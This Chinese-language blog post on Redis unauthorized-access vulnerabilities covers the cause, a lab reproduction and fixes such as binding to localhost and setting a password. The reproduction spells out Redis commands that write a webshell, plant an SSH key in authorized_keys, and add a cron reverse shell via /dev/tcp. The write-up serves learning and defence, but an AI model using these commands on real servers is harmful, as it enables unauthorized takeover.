天天看點

Redis未授權通路漏洞原理複現修複參考

目錄

  • 漏洞原理
  • 複現
    • 環境
    • 利用
      • 利用redis未授權通路寫入weshell
      • 利用redis未授權修改ssh公鑰
      • redis未授權通路-計劃任務反彈shell
      • redis<=5.0.5 主從複制RCE
  • 修複
  • 參考

漏洞原理

Redis 預設情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的政策,比如添加防火牆規則避免其他非信任來源 ip 通路等,這樣将會将 Redis 服務暴露到公網上,如果在沒有設定密碼認證(一般為空)的情況下,會導緻任意使用者在可以通路目标伺服器的情況下未授權通路 Redis 以及讀取 Redis 的資料。

攻擊者在未授權通路 Redis 的情況下,利用 Redis 自身的提供的config 指令,可以進行寫檔案操作,攻擊者可以成功将自己的ssh公鑰寫入目标伺服器的 /root/.ssh 檔案夾的authotrized_keys 檔案中,進而可以使用對應私鑰直接使用ssh服務登入目标伺服器。

(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip通路等相關安全政策,直接暴露在公網;

(2)沒有設定密碼認證(一般為空),可以免密碼遠端登入redis服務。

複現

環境

主機 ip
靶機:ubuntu20 192.168.237.138
攻擊機:kali2020 192.168.237.139

利用

利用redis未授權通路寫入weshell

靶機開放redis及web服務,攻擊機遠端通路靶機redis,通過其方式知道web目錄路徑(報錯等)寫入webshell。

Redis未授權通路漏洞原理複現修複參考

成功getwebshell。

Redis未授權通路漏洞原理複現修複參考

蟻劍連接配接。

Redis未授權通路漏洞原理複現修複參考
Redis未授權通路漏洞原理複現修複參考
Redis未授權通路漏洞原理複現修複參考

利用redis未授權修改ssh公鑰

靶機上開啟ssh服務:service ssh start

ps -e | grep ssh

>>> ssh-keygen -t rsa //在本地主機生成密鑰key
>>> cd /root/.ssh
>>> (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
>>> cat /root/key.txt
>>> cat /root/key.txt | redis-cli -h 192.168.0.106  //将txt檔案中的公鑰導入Redis緩存
>>> cat /root/key.txt | redis-cli -h 192.168.0.106 –x set xxx //使用redis-cli -h ip指令連接配接靶機,将檔案寫入,-x 表示将标準輸入作為xxx的值
>>> redis-cli -h 192.168.0.106
>>> config set dir /root/.ssh
>>> config set dbfilename authorized_keys
>>> save

           
Redis未授權通路漏洞原理複現修複參考
Redis未授權通路漏洞原理複現修複參考
Redis未授權通路漏洞原理複現修複參考
Redis未授權通路漏洞原理複現修複參考
Redis未授權通路漏洞原理複現修複參考

redis未授權通路-計劃任務反彈shell

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.237.138/5555 0>&1\n"

config set dir /var/spool/cron/

config set dbfilename root

save

           
Redis未授權通路漏洞原理複現修複參考

但是ubuntu反彈是失敗,檢視一些資料說centos可以反彈成功,但是沒有centos環境,隻能有空在複現下了。

redis<=5.0.5 主從複制RCE

Redis未授權通路在4.x/5.0.5以前版本下,我們可以使用master/slave模式加載遠端子產品,通過動态連結庫的方式執行任意指令。

由于我ubuntu上的redis是2.x版本的,暫時複現不了。。後續再補充吧。

參考:https://vulhub.org/#/environments/redis/4-unacc/

修複

1、比較安全的辦法是采用綁定IP的方式來進行控制。

請在redis.conf檔案找到如下配置

# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
bind 127.0.0.1
           

2、設定密碼,以提供遠端登陸

打開redis.conf配置檔案,找到requirepass,然後修改如下

requirepass yourpassword

yourpassword就是redis驗證密碼,設定密碼以後發現可以登陸,但是無法執行指令了。 指令如下: redis-cli -h

yourIp -p yourPort//啟動redis用戶端,并連接配接伺服器 keys * //輸出伺服器中的所有key 報錯如下

(error) ERR operation not permitted 這時候你可以用授權指令進行授權,就不報錯了 指令如下:

auth youpassword

3、修改6379端口

參考

https://www.cnblogs.com/bmjoker/p/9548962.html

繼續閱讀